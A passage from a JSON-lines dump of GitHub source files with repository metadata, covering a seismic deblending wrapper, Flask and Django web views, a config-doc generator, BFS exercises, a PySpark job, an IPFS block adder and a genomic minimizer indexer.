agd_deblend\")\n\n return [patch_data.astype(fdtype) for patch_data in data[\"np\"]]\n\n\ndef blend(\n shottimes,\n channels,\n trace_types,\n data,\n blend_mode,\n taper_length=0,\n n_times_out=None,\n shottimes_out=None,\n channels_out=None,\n trace_types_out=None,\n comm=None,\n data_out=None,\n):\n \"\"\"Blends seismic data or modifies already blended data.\n\n See https://ausargeo.com/agdeblend for documentation.\n\n Args:\n shottimes: [n_patches][] long int array specifying\n the time sample index of each trace's shot in the continuous record\n channels: [n_patches][] int array specifying the\n recording channel number of each trace\n trace_types: [n_patches][] int array specifying\n if the trace is live (AGDLive), bad (AGDBad) or missing (AGDMissing)\n blend_mode: int specifying whether to sum overlapping samples\n (AGDBlendSum), overwrite them (AGDBlendOverwrite), or take the mean\n (AGDBlendMean)\n taper_length: Optional int specifying the taper length to use in time\n samples at the beginning and end of each trace if using the\n AGDBlendMean blend mode (default 0)\n data: [n_patches][] seismic data (blended or unblended)\n n_times_out: [n_patches] optional int array specifying the number of\n time samples to extract from the continuous record after blending\n for each output patch (defaults to the same as the input)\n shottimes_out: [n_patches_out][] optional long int\n array specifying the time samples indexes of the continuous record\n to extract each output trace from after blending (defaults to the\n same as the input)\n channels_out: [n_patches_out][] optional int array\n specifying the channel to extract each output trace from after\n blending (defaults to the same as the input)\n trace_types_out: [n_patches_out][] optional int\n array specifying the trace type of each output trace, with\n AGDLive and AGDMissing being the only allowed options (defaults\n to the same as the input)\n comm: Optional MPI Communicator (default None, which will run a\n serial implementation)\n data_out: [n_patches_out][] optional output\n array, which may be the input data array if the output will\n be the same shape (default None, which will allocate a new array)\n\n Returns:\n The data after blending to a continuous record and extracting the output\n traces as requested, in an array of size\n [n_patches_out][]\n \"\"\"\n\n fdtype, cfdtype, fdtype_ptrptr = _get_fdtype(data[0])\n agd_lib, ffi, comm = _get_agd_lib(cfdtype, comm)\n\n if blend_mode not in [AGDBlendSum, AGDBlendMean, AGDBlendOverwrite]:\n raise RuntimeError(\"Invalid blend_mode\")\n\n # Convert to contiguous NumPy arrays of the right type\n data = _convert_to_numpy(data, dtype=cfdtype)\n shottimes = _convert_to_numpy(shottimes, dtype=ctypes.c_long)\n channels = _convert_to_numpy(channels)\n trace_types = _convert_to_numpy(trace_types)\n shottimes_out = _convert_to_numpy(\n shottimes_out, dtype=ctypes.c_long, default=shottimes\n )\n channels_out = _convert_to_numpy(channels_out, default=channels)\n trace_types_out = _convert_to_numpy(trace_types_out, default=trace_types)\n\n # Set n_patches, n_traces, n_times, + _out versions, and allocate out_data\n n_patches = len(data[\"np\"])\n n_traces = np.zeros(n_patches, ctypes.c_int)\n n_times = np.zeros(n_patches, ctypes.c_int)\n for i, patch_data in enumerate(data[\"np\"]):\n n_traces[i] = np.prod(patch_data.shape[:-1])\n n_times[i] = patch_data.shape[-1]\n\n if data_out is not None:\n if len(data_out) < 1:\n raise RuntimeError(\"data_out must have at least one patch\")\n if not isinstance(data_out[0], np.ndarray):\n raise RuntimeError(\"data_out patches must be NumPy arrays\")\n if data_out[0].dtype != cfdtype:\n raise RuntimeError(\"data_out does not have the right data type\")\n n_patches_out = len(data_out)\n n_traces_out = np.array(\n [np.prod(patch_data.shape[:-1]) for patch_data in data_out]\n ).astype(ctypes.c_int)\n if n_times_out is None:\n n_times_out = [patch_data.shape[-1] for patch_data in data_out]\n else:\n if not all(\n n_times_out\n == [patch_data.shape[-1] for patch_data in data_out]\n ):\n raise RuntimeError(\"data_out does not match n_times_out\")\n n_times_out = np.array(n_times_out).astype(ctypes.c_int)\n data_out = {\"np\": data_out}\n else: # data_out not provided, so use shottimes_out and n_times_out/n_times\n n_patches_out = len(shottimes_out[\"np\"])\n n_traces_out = np.array(\n [\n np.prod(patch_shottimes.shape)\n for patch_shottimes in shottimes_out[\"np\"]\n ]\n ).astype(ctypes.c_int)\n if n_times_out is None:\n n_times_out = n_times\n else:\n n_times_out = np.array(n_times_out).astype(ctypes.c_int)\n data_out = {\n \"np\": [\n np.zeros(\n patch_shottimes.shape + (patch_n_times,), dtype=cfdtype\n )\n for patch_shottimes, patch_n_times in zip(\n shottimes_out[\"np\"], n_times_out\n )\n ]\n }\n\n if len(n_times_out) != n_patches_out:\n raise RuntimeError(\"n_times_out is not of the expected length\")\n\n data_out[\"pointers\"] = np.array(\n [patch_var.ctypes.data for patch_var in data_out[\"np\"]]\n )\n data_out[\"ppointers\"] = data_out[\"pointers\"].ctypes.data\n\n # Check that the number of patches is the same for all variables\n _check_n_patches(n_patches, shottimes, \"shottimes\")\n _check_n_patches(n_patches, channels, \"channels\")\n _check_n_patches(n_patches, trace_types, \"trace_types\")\n _check_n_patches(n_patches_out, shottimes_out, \"shottimes_out\")\n _check_n_patches(n_patches_out, channels_out, \"channels_out\")\n _check_n_patches(n_patches_out, trace_types_out, \"trace_types_out\")\n\n # Check that the number of traces in each patch is the same for\n # all variables\n _check_n_traces(n_traces, shottimes, \"shottimes\")\n _check_n_traces(n_traces, channels, \"channels\")\n _check_n_traces(n_traces, trace_types, \"trace_types\")\n _check_n_traces(n_traces_out, shottimes_out, \"shottimes_out\")\n _check_n_traces(n_traces_out, channels_out, \"channels_out\")\n _check_n_traces(n_traces_out, trace_types_out, \"trace_types_out\")\n\n if agd_lib.agd_blend(\n n_patches,\n ffi.cast(\"int *\", n_traces.ctypes.data),\n ffi.cast(\"int *\", n_times.ctypes.data),\n ffi.cast(\"long int **\", shottimes[\"ppointers\"]),\n ffi.cast(\"int **\", channels[\"ppointers\"]),\n ffi.cast(\"enum AGDTraceType **\", trace_types[\"ppointers\"]),\n ffi.cast(fdtype_ptrptr, data[\"ppointers\"]),\n ffi.cast(\"enum AGDBlendMode\", blend_mode),\n taper_length,\n n_patches_out,\n ffi.cast(\"int *\", n_traces_out.ctypes.data),\n ffi.cast(\"int *\", n_times_out.ctypes.data),\n ffi.cast(\"long int **\", shottimes_out[\"ppointers\"]),\n ffi.cast(\"int **\", channels_out[\"ppointers\"]),\n ffi.cast(\"enum AGDTraceType **\", trace_types_out[\"ppointers\"]),\n *comm,\n ffi.cast(fdtype_ptrptr, data_out[\"ppointers\"])\n ):\n raise RuntimeError(\"Error in call to agd_blend\")\n\n return [patch_data.astype(fdtype) for patch_data in data_out[\"np\"]]\n\n\ndef _get_fdtype(np_var):\n fdtype = np_var.dtype\n if fdtype not in (np.float32, np.float64):\n raise RuntimeError(\"Data must be float32 or float64\")\n if fdtype == np.float32:\n cfdtype = ctypes.c_float\n fdtype_ptrptr = \"float **\"\n else:\n cfdtype = ctypes.c_double\n fdtype_ptrptr = \"double **\"\n return fdtype, cfdtype, fdtype_ptrptr\n\n\ndef _get_agd_lib(cfdtype, comm):\n if cfdtype == ctypes.c_float and comm is None:\n try:\n import agdeblend._agdeblend_ffi\n\n agd_lib = agdeblend._agdeblend_ffi.lib\n ffi = agdeblend._agdeblend_ffi.ffi\n comm = []\n except:\n raise RuntimeError(\n \"The single precision, non-MPI AGDeblend library was not found\"\n )\n elif cfdtype == ctypes.c_double and comm is None:\n try:\n import agdeblend._agdeblend_double_ffi\n\n agd_lib = agdeblend._agdeblend_double_ffi.lib\n ffi = agdeblend._agdeblend_double_ffi.ffi\n comm = []\n except:\n raise RuntimeError(\n \"The double precision, non-MPI AGDeblend library was not found\"\n )\n elif cfdtype == ctypes.c_float and comm is not None:\n try:\n import agdeblend._agdeblend_mpi_ffi\n from mpi4py import MPI\n\n agd_lib = agdeblend._agdeblend_mpi_ffi.lib\n ffi = agdeblend._agdeblend_mpi_ffi.ffi\n comm = [ffi.cast(\"MPI_Comm *\", MPI._addressof(comm))[0]]\n except:\n raise RuntimeError(\n \"The single precision, MPI AGDeblend library was not found\"\n )\n elif cfdtype == ctypes.c_double and comm is not None:\n try:\n import agdeblend._agdeblend_mpi_double_ffi\n from mpi4py import MPI\n\n agd_lib = agdeblend._agdeblend_mpi_double_ffi.lib\n ffi = agdeblend._agdeblend_mpi_double_ffi.ffi\n comm = [ffi.cast(\"MPI_Comm *\", MPI._addressof(comm))[0]]\n except:\n raise RuntimeError(\n \"The double precision, MPI AGDeblend library was not found\"\n )\n\n return agd_lib, ffi, comm\n\n\ndef _convert_to_numpy(var, dtype=None, extra_requirements=None, default=None):\n if var is None:\n return default\n np_var = []\n if dtype is None:\n dtype = ctypes.c_int\n requirements = [\"C_CONTIGUOUS\", \"ALIGNED\"]\n if extra_requirements is not None:\n requirements += extra_requirements\n for patch_var in var:\n np_var.append(\n np.require(patch_var, dtype=dtype, requirements=requirements)\n )\n pointers = np.array([patch_var.ctypes.data for patch_var in np_var])\n return {\n \"np\": np_var,\n \"pointers\": pointers,\n \"ppointers\": pointers.ctypes.data,\n }\n\n\ndef _check_n_patches(n_patches, var, name):\n if len(var[\"np\"]) != n_patches:\n raise RuntimeError(name + \" must have the same length as data\")\n\n\ndef _get_n_traces(var):\n return [np.prod(patch_var.shape) for patch_var in var[\"np\"]]\n\n\ndef _check_n_traces(n_traces, var, name):\n if _get_n_traces(var) != n_traces:\n raise RuntimeError(name + \" has an incorrect number of traces\")\n\n\ndef _check_wavelets(wavelet_idxs, wavelets, trace_types):\n min_wavelet_idx = 0\n max_wavelet_idx = 0\n for patch_wavelet_idxs, patch_trace_types in zip(\n wavelet_idxs[\"np\"], trace_types[\"np\"]\n ):\n for trace_wavelet_idx, trace_type in zip(\n patch_wavelet_idxs.ravel(), patch_trace_types.ravel()\n ):\n if trace_type == AGDLive:\n min_wavelet_idx = min(trace_wavelet_idx, min_wavelet_idx)\n max_wavelet_idx = min(trace_wavelet_idx, max_wavelet_idx)\n if min_wavelet_idx < 0 or max_wavelet_idx >= len(wavelets[\"np\"]):\n raise RuntimeError(\"wavelet_idx must be in [0, len(wavelets))\")\n","repo_name":"ar4/agdeblend","sub_path":"wrappers/python/agdeblend/agdeblend.py","file_name":"agdeblend.py","file_ext":"py","file_size_in_byte":17525,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"21"} +{"seq_id":"25842246665","text":"from flask import Flask, render_template, request, jsonify\nfrom pythonprac.dbprac import db\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef home():\n return render_template('index.html')\n\n\n@app.route(\"/mars\", methods=[\"POST\"])\ndef web_mars_post():\n print(request.form)\n name_receive = request.form['name']\n address_receive = request.form['address']\n size_receive = request.form['size']\n doc = {\n 'name': name_receive,\n 'address': address_receive,\n 'size': size_receive\n }\n db.mars.insert_one(doc)\n return jsonify({'msg': 'POST 연결 완료!'})\n\n\n@app.route(\"/mars\", methods=[\"GET\"])\ndef web_mars_get():\n mars = list(db.mars.find({}, {'_id': False}))\n return jsonify({'mars': mars})\n\n\nif __name__ == '__main__':\n app.run('0.0.0.0', port=5001, debug=True)\n","repo_name":"m1naworld/Sparta","sub_path":"projects/mars/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18710244201","text":"from django.http import JsonResponse\nfrom rest_framework.generics import GenericAPIView\nfrom rest_framework.permissions import AllowAny\n\nfrom LIB import utils\nfrom LIB import authentication\nfrom LIB import admin\n\nfrom . import serializer\nfrom . import swagger_schema\n\n# Create your views here.\n\n\nclass OperatorProgramList(GenericAPIView):\n\n \"\"\"\n\n لیست برنامه اپراتور ها را بر میگرداند\n\n \"\"\"\n\n serializer_class = swagger_schema.OperatorProgramListSerializer\n permission_classes = (AllowAny,)\n allowed_methods = ('GET',)\n\n #\n # def get(self, request, *args, **kwargs):\n #\n # return authentication.get_error_response()\n\n def get(self, request, date_year, date_month, date_day, *args, **kwargs):\n\n # check token is valid or not\n token_status, token_status_text = authentication.check_token(request, access_user_type=['a'])\n\n if token_status == 201:\n\n date = f'{date_year}/{date_month}/{date_day}'\n date_int = utils.cvt_solar_date2ad_int(date)\n\n # get list of operator program\n operator_list = admin.operator_program_list(date_int)\n\n # serialize query to json format\n operator_list_serializer = serializer.OperatorProgramSerializer(data=operator_list, many=True)\n status = operator_list_serializer.is_valid()\n\n fulled_time = []\n final_data = []\n\n for data in operator_list_serializer.data:\n fulled_time.append(data['id'])\n\n for _ in range(7):\n\n time_str = utils.time_int2str(date_int).split(' ')[0]\n\n morning_time = time_str + 'm'\n afternoon_time = time_str + 'a'\n\n if morning_time not in fulled_time:\n final_data.append({\n\n 'id': morning_time,\n 'date_str': time_str,\n 'program_turn': 'm',\n 'operator_name': '',\n 'operator': '',\n\n })\n\n else:\n\n for data in operator_list_serializer.data:\n\n if data['id'] == morning_time:\n final_data.append(data)\n break\n\n if afternoon_time not in fulled_time:\n final_data.append({\n\n 'id': afternoon_time,\n 'date_str': time_str,\n 'program_turn': 'a',\n 'operator_name': '',\n 'operator': '',\n\n })\n\n else:\n\n for data in operator_list_serializer.data:\n\n if data['id'] == afternoon_time:\n final_data.append(data)\n break\n\n date_int += 60*60*24\n\n return JsonResponse({\n\n 'status_code': token_status,\n 'status': token_status_text,\n 'serializer_status': status,\n 'operator_program': final_data,\n\n }, status=int(token_status))\n\n else:\n\n return JsonResponse({\n\n 'status_code': token_status,\n 'status': token_status_text,\n\n }, status=400)\n\n\nclass SetOperatorProgram(GenericAPIView):\n\n \"\"\"\n\n تنظیم برنامه اپراتور ها\n\n \"\"\"\n\n serializer_class = swagger_schema.SetOperatorSerializer\n permission_classes = (AllowAny,)\n allowed_methods = ('POST',)\n\n #\n # def get(self, request, *args, **kwargs):\n #\n # return authentication.get_error_response()\n\n def post(self, request, *args, **kwargs):\n\n # decode json\n json_data = utils.decode_reqeust_json(request)\n\n # check input json param\n status, response = authentication.check_request_json(json_data, ['operator_program_list'])\n if status:\n return response\n\n # check token is valid or not\n token_status, token_status_text = authentication.check_token(request, access_user_type=['a'])\n\n if token_status == 201:\n\n # get list of operator program from request's json\n # this param is list of operator program\n # every element is dict and have program's information\n op_list = json_data['operator_program_list']\n result = []\n\n for op in op_list:\n\n # op is Dict with above format\n # op = {\n #\n # date: \"string\" ==> show date of program $ example : '1401/1101'\n # operator: \"string\" ==> operator's username $ example : 'Reza'\n # program_type : \"string\" ==> define program is on morning or afternoon $ example : 'm'\n # operator_name: \"String\" ==> operator operator name $ example : 'reza'\n #\n # }\n\n # we must check this program exist or not\n op_model, cp_status = admin.check_program(op)\n\n # make change\n op = admin.uc_program(op, op_model, cp_status)\n\n # add result\n result.append(op)\n\n return JsonResponse({\n\n 'status_code': token_status,\n 'status': token_status_text,\n 'operator_program_result': result,\n\n }, status=201)\n\n else:\n\n return JsonResponse({\n\n 'status_code': token_status,\n 'status': token_status_text,\n\n }, status=400)\n\n\nclass WeekTime(GenericAPIView):\n\n \"\"\"\n\n تاریخ شنبه ها را میدهد\n\n \"\"\"\n\n serializer_class = swagger_schema.WeekTime\n permission_classes = (AllowAny,)\n allowed_methods = ('GET',)\n\n def get(self, request, week, *args, **kwargs):\n\n date = admin.week_time(week)\n\n return JsonResponse({\n\n 'status_code': 201,\n 'status_text': 'successfully ...',\n 'date': date\n\n\n }, status=201)\n","repo_name":"rezabhm/Laser-Back-End","sub_path":"Admin/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17066285753","text":"\nimport collections\nimport datetime\nimport jinja2\nimport json\nimport os\nimport yaml\n\nfrom yaml import CLoader as Loader\n\n\nfolder = \"../docs/cloud/configuration\" \n\n\nclass Mock(object):\n\n def __init__(self, data={}):\n self._data = data\n\n def __getattr__(self, name):\n if name.startswith(\"_\"):\n return super(Mock, self).__getattr__(name)\n else:\n return self._data[name]\n\n def __setattr__(self, name, value):\n if name.startswith(\"_\"):\n super(Mock, self).__setattr__(name, value)\n else:\n self._data[name] = value\n\n\n# Render fields template\nenvironment = jinja2.Environment(loader=jinja2.FileSystemLoader(searchpath=\"../../backend/src/django/dongle/templates\"), extensions=[\"jinja2.ext.do\"])\nenvironment.filters[\"hash\"] = lambda val: abs(hash(value)) % (10 ** 12) # MBA's hash function\ntemplate = environment.get_template(\"dongle_config.yml\")\nfields = yaml.load(template.render({\n \"settings\": Mock({\"PUBLIC_API_URL\": \"https://api.autopi.io\"}),\n \"device\": Mock({\n \"id\": \"XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX\",\n \"unit_id\": \"XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX\",\n \"token\": \"XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX\",\n \"vehicle\": None,\n \"created_at\": datetime.datetime.utcnow()\n }),\n \"owner\": None,\n \"masterdata\": {\n \"hw_board_ver\": \"5.1\"\n }\n}), Loader=Loader)\nprint(\"[INFO] Loaded {:} fields\".format(len(fields)))\n\n# Group fields excluding name\nfields_grouped = {}\nfor qname, field in fields.items():\n parts = qname.split(\".\")\n field[\"group\"] = \".\".join(parts[:-1])\n field[\"name\"] = parts[-1]\n\n fields_grouped.setdefault(field[\"group\"], [])\n fields_grouped[field[\"group\"]].append(field)\n\n# Sort grouped fields by key\nfields_grouped = collections.OrderedDict(sorted(fields_grouped.items()))\n\n# Delete all existing files before generating new\nfor file in os.listdir(folder):\n file_path = os.path.join(folder, file)\n try:\n if os.path.isfile(file_path) and not file_path.endswith(\"index.md\"):\n os.unlink(file_path)\n except Exception as ex:\n print(\"[ERROR] {:}\".format(ex))\n\n# Group fields into files\nfield_files = {}\nfor group, fields in fields_grouped.items():\n group_parts = group.split(\".\")\n\n field_files.setdefault(group_parts[0], [])\n field_files[group_parts[0]] += fields\n\ndef render_as_string(value):\n ret = \"\"\n\n if isinstance(value, list):\n for val in value:\n if ret:\n ret += \", \"\n\n if isinstance(val, dict):\n ret += json.dumps(val)\n else:\n ret += str(value)\n else:\n ret = str(value)\n\n return ret.replace(\"|\", \"\\|\")\n\n# Loop through all files\nfor name, fields in field_files.items():\n with open(os.path.join(folder, name + \".md\"), \"a\") as f:\n\n f.write(\"---\\n\")\n f.write(\"id: cloud-config-{:}\\n\".format(name.replace(\"_\", \"-\")))\n f.write(\"title: {:}\\n\".format(name.replace(\"_\", \" \").title()))\n f.write(\"---\\n\")\n\n last_group_parts = []\n for field in fields:\n\n if field.get(\"hidden\", False):\n print(\"[INFO] Skipping hidden field '{group:}.{name:}'\".format(**field))\n\n continue\n\n group_parts = field[\"group\"].split(\".\")\n\n if group_parts != last_group_parts:\n for idx, group_part in enumerate(group_parts[1:], 1):\n\n if dict(enumerate(last_group_parts)).get(idx, None) == group_part:\n print(\"[INFO] Skipping group part: {:}\".format(group_part))\n\n continue\n\n f.write(\"\\n{:} {:}\\n\".format(\"\".rjust(idx * 2, \"#\"), group_part.replace(\"_\", \" \").title()))\n\n f.write(\"\\n| Name | Description | Type | Default | Unit |\\n\")\n f.write(\"| ------ | ------ | ------ | ------ | ------ |\\n\")\n\n last_group_parts = group_parts\n\n if not \"desc\" in field:\n print(\"{:}\".format(field))\n\n f.write(\"| {:} | {:} | {:} | {:} | {:} |\\n\".format(\n field[\"name\"].replace(\"_\", \" \").upper(),\n field[\"desc\"].replace(\"|\", \"\\|\"),\n field.get(\"type\", \"-\"),\n render_as_string(field.get(\"default\", \"-\")),\n field.get(\"unit\", \"-\"),\n ))","repo_name":"autopi-io/documentation","sub_path":"scripts/gen_config.py","file_name":"gen_config.py","file_ext":"py","file_size_in_byte":4362,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"10728078253","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport scipy as sc\nimport scipy.optimize as opt\n\nf = 38.684\nV = np.linspace(-1,1,400)\nr = np.exp(-0.5*f*V)\nrlog = np.log10(r)\nrgrad = np.gradient(rlog,V[1]-V[0])\n\n#plt.plot(V,rlog)\nplt.plot(V,1./rgrad)\n\n#plt.plot(rlog,V)\n#plt.plot(V,V*-0.059)\n\n\nx = np.linspace(-1,1,1000)\ny = -x/0.118\ngrady = np.gradient(y,x[1]-x[0])\n#plt.plot(x,y)\nplt.plot(x,1./grady)\n\nplt.show()\n","repo_name":"ndricke/tafel","sub_path":"old/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6066111799","text":"from collections import deque\nimport sys\ninput = sys.stdin.readline\n\n# 상 우 하 좌\ndx = [-1, 0, 1, 0]\ndy = [0, 1, 0, -1]\n\n# bfs 함수\ndef bfs(start, graph, visited, m, n):\n visited[start[0]][start[1]] = True\n queue = deque([start])\n\n while queue:\n x, y = queue.popleft()\n for i in range(4):\n nx = x + dx[i]\n ny = y + dy[i]\n if 0<=nx 0:\r\n print(q.popleft())\r\n else:\r\n print(-1)\r\n elif \"pop_back\" in cmd:\r\n if len(q) > 0:\r\n print(q.pop())\r\n else:\r\n print(-1)\r\n elif \"front\" in cmd:\r\n if len(q) > 0:\r\n print(q[0])\r\n else:\r\n print(-1)\r\n elif \"back\" in cmd:\r\n if len(q) > 0:\r\n print(q[-1])\r\n else:\r\n print(-1)\r\n elif \"size\" in cmd:\r\n print(len(q))\r\n elif \"empty\" in cmd:\r\n if len(q) == 0:\r\n print(1)\r\n else:\r\n print(0)","repo_name":"Yujun-Won/Algorithm","sub_path":"백준/Silver/10866. 덱/덱.py","file_name":"덱.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43442001979","text":"import os\nfrom pyspark.sql import SparkSession\n\nspark = SparkSession.builder \\\n .master(os.environ.get('MASTER')) \\\n .appName(os.environ.get('APP_NAME')) \\\n .config(\"spark.sql.execution.arrow.pyspark.enabled\", \"true\") \\\n .config(\"spark.sql.execution.arrow.pyspark.fallback.enabled\", \"true\") \\\n .config(\"spark.sql.parquet.mergeSchema\", \"false\") \\\n .config(\"spark.hadoop.parquet.enable.summary-metadata\", \"false\") \\\n .getOrCreate()\n \ndf = spark.read.parquet(os.environ.get('INPUT_FILE'))\ndf.write.mode(\"overwrite\").parquet(os.environ.get('OUTPUT_LOCATION'))\n\n","repo_name":"mendelvantriet/pyspark-parquet","sub_path":"src/python_script.py","file_name":"python_script.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"35664795115","text":"import copy\nimport itertools\n\ndr = (-1, 1, 0, 0)\ndc = (0, 0, -1, 1)\n\n\ndef bfs():\n global N, M, safe, result\n while q:\n if safe <= result:\n return\n r, c = q.pop(0)\n for i in range(4):\n nr = r + dr[i]\n nc = c + dc[i]\n if not (N > nr >= 0 and M > nc >= 0):\n continue\n if lab[nr][nc]:\n continue\n lab[nr][nc] = 2\n safe -= 1\n q.append((nr, nc))\n if safe == 30:\n print('no!')\n result = max(result, safe)\n\n\nN, M = map(int, input().split())\nraw = [list(map(int, input().split())) for _ in range(N)]\ntotal = 0\ngerm = []\nempty = []\nresult = 0\nfor i in range(N):\n for j in range(M):\n if raw[i][j] == 0:\n total += 1\n empty.append((i, j))\n if raw[i][j] == 2:\n germ.append((i, j))\n\n\ncombs = list(itertools.combinations(empty, 3))\n# 반복\nfor comb in combs:\n safe = total - 3\n q = copy.deepcopy(germ)\n lab = copy.deepcopy(raw)\n for r, c in comb:\n lab[r][c] = 1\n bfs()\nprint(result)","repo_name":"gogumasitda/TIL","sub_path":"algorithm/0611/연구소.py","file_name":"연구소.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"20604674185","text":"import os\nimport sys\nfrom .controller import Controller\nfrom .gui.main import start as gui_start\nfrom .debugger.patch_networkx import patch_networkx\n\ndef main():\n patch_networkx()\n controller = Controller()\n\n if len(sys.argv) == 1:\n config = None\n elif len(sys.argv) == 2 and os.path.isfile(sys.argv[1]):\n config = sys.argv[1]\n else:\n print('Syntax: {} [config.ini]'.format(sys.argv[0]))\n exit(1)\n\n gui_start(\n controller=controller,\n config=config,\n )\n","repo_name":"progval/NxAnimate","sub_path":"nxanimate/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"34324551127","text":"import rhinoscriptsyntax as rs\nimport trkRhinoPy as trp\n\nobjs = rs.GetObjects('select objs', rs.filter.surface|rs.filter.curve|rs.filter.point, preselect=True)\ngrade = rs.GetString(\"toggle grade\")\n\ndef process(objs, grade, func):\n isUG = trp.boolToggle(grade)\n groups = trp.groupByElevation(objs, isUG)\n trp.setLevel(groups, isUG, func)\n\nif __name__ == '__main__':\n process(objs, grade, trp.setDictforDatum) # Put the a call to the main function in the file. ","repo_name":"tkahng/ironpythontest","sub_path":"Rhinoscript/setDtmLvl.py","file_name":"setDtmLvl.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34916001247","text":"import subprocess\nimport os\nimport json\nimport time\nimport sys\n\nblock_ipfs_adder_code_dir = os.getcwd()\nprint(f\"block ipfs adder code directory: {block_ipfs_adder_code_dir}\")\nos.chdir(\"../..\")\nsrc_dir = os.getcwd()\nsys.path.insert(1, src_dir) # for importing folder_structure.py\nfrom folder_structure import output_raw_block, output_raw_block_cid\nos.chdir(block_ipfs_adder_code_dir)\n\n\ndef block_ipfs_adder():\n raw_block_dir = output_raw_block()\n raw_block_cid_dir = output_raw_block_cid()\n raw_block_dir_lst = os.listdir(raw_block_dir)\n new = []\n for i in raw_block_dir_lst:\n num = i.split(\".json\")\n print(num[0])\n new.append(int(num[0]))\n new.sort()\n last_file_name = str(new[-1]) + \".json\"\n last_raw_block_name = os.path.join(raw_block_dir, last_file_name)\n with open(last_raw_block_name, 'r') as file:\n content = file.read()\n unfrozen = json.loads(content)\n number = unfrozen[\"Index\"]\n num = str(number)\n p = subprocess.check_output(f'ipfs add {last_raw_block_name}', shell=True, text=True)\n hash_ = p[6:52]\n\n raw_block_cid_name = num + \".json\"\n raw_block_cid_ab_name = os.path.join(raw_block_cid_dir, raw_block_cid_name)\n with open(raw_block_cid_ab_name, 'w') as loader:\n hash_file = {\n 'Index': number, 'CID': hash_, \"Timestamp\": time.time()\n }\n var_ = json.dumps(hash_file, indent=2)\n loader.write(var_)\n print(hash_)\n\n","repo_name":"minhaz-18/Scalabale-blockchain-system","sub_path":"src/miner_end/block_generation/block_ipfs_adder.py","file_name":"block_ipfs_adder.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"23259822546","text":"import array\nimport sys\nimport numpy\n# import pysam\nimport argparse\nimport logging \nimport time\nlogger = logging.getLogger()\n\n\"\"\"See the comments below to see the code you need to complete.\n\"\"\"\n\nclass MinimizerIndexer(object):\n \"\"\" Simple minimizer based substring-indexer. \n \n Please read: https://doi.org/10.1093/bioinformatics/bth408\n \n Related to idea of min-hash index and other \"sketch\" methods.\n \"\"\"\n def __init__(self, targetString, w, k, t):\n \"\"\" The target string is a string/array of form \"[ACGT]*\".\n \n Stores the lexicographically smallest k-mer in each window of length w, such that w >= k positions. This\n smallest k-mer is termed a minmer. \n \n If a minmer occurs in the target sequence more than t times as a minmer then it is omitted from the index, i.e. if the given minmer (kmer) is a minmer\n in more than t different locations in the target string. Note, a minmer may be the minmer for more than t distinct windows\n and not be pruned, we remove minmers only if they have more than t distinct occurrences as minmers in the sequence.\n \"\"\"\n \n self.targetString = targetString\n self.w = w\n self.k = k\n self.t = t # If a minmer occurs more than t times then its entry is removed from the index\n # This is a heuristic to remove repetitive minmers that would create many spurious alignments between\n # repeats\n \n # Hash of minmers to query locations, stored as a map whose keys\n # are minmers and whose values are lists of the start indexes of\n # occurrences of the corresponding minmer in the targetString, \n # sorted in ascending order of index in the targetString.\n #\n # For example if k = 2 and w = 4 and targetString = \"GATTACATTT\"\n #\n # GATTACATTT\n # GATT (AT)\n # ATTA (AT)\n # TTAC (AC)\n # TACA (AC)\n # ACAT (AC)\n # CATT (AT)\n # ATTT (AT)\n #\n # then self.minimizerMap = { \"AT\":(1,6), \"AC\":(4,) }\n self.minimizerMap = {}\n # Code to complete to build index - you are free to define additional functions\n self.size = len(targetString)\n for nuc in range(self.size - self.w + 1):\n window = self.targetString[nuc: nuc + self.w]\n minimer = None # some holder for the minimizer\n\n # implement the window alogrithm from the reading.\n for k_position in range(self.w - k + 1):\n kmer = window[k_position: k_position + k]\n if minimer is None or kmer < minimer[0]: \n minimer = (kmer, nuc + k_position)\n self.minimizerMap.setdefault(minimer[0], set()).add(minimer[1])\n if len(self.minimizerMap[minimer[0]]) > t: del self.minimizerMap[minimer[0]]\n\n def getMatches(self, searchString):\n \"\"\" Iterates through search string finding minmers in searchString and\n yields their list of minmer occurrences in targetString, each as a pair of (x, (y,)*N),\n where x is the index in searchString and y is an occurrence in targetString.\n \n For example if k = 2 and w = 4 and targetString = \"GATTACATTT\" and searchString = \"GATTTAC\"\n then self.minimizerMap = { \"AT\":(1,6), \"AC\":(4,) }\n and getMatches will yield the following sequence:\n (1, (1,6)), (5, (4,))\n \n You will need to use the \"yield\" keyword\n \"\"\"\n # Code to complete - you are free to define additional functions\n size = len(searchString)\n minimers = set()\n for nuc in range(size - self.w + 1):\n\n # builds the window size per iteration\n window = searchString[nuc : nuc + self.w]\n for k_position in range(self.w - self.k + 1):\n\n # looks at all k's in the window\n kmer = window[k_position:k_position + self.k]\n \n # if a new minimer appears, yield it\n if kmer in self.minimizerMap and kmer not in minimers:\n 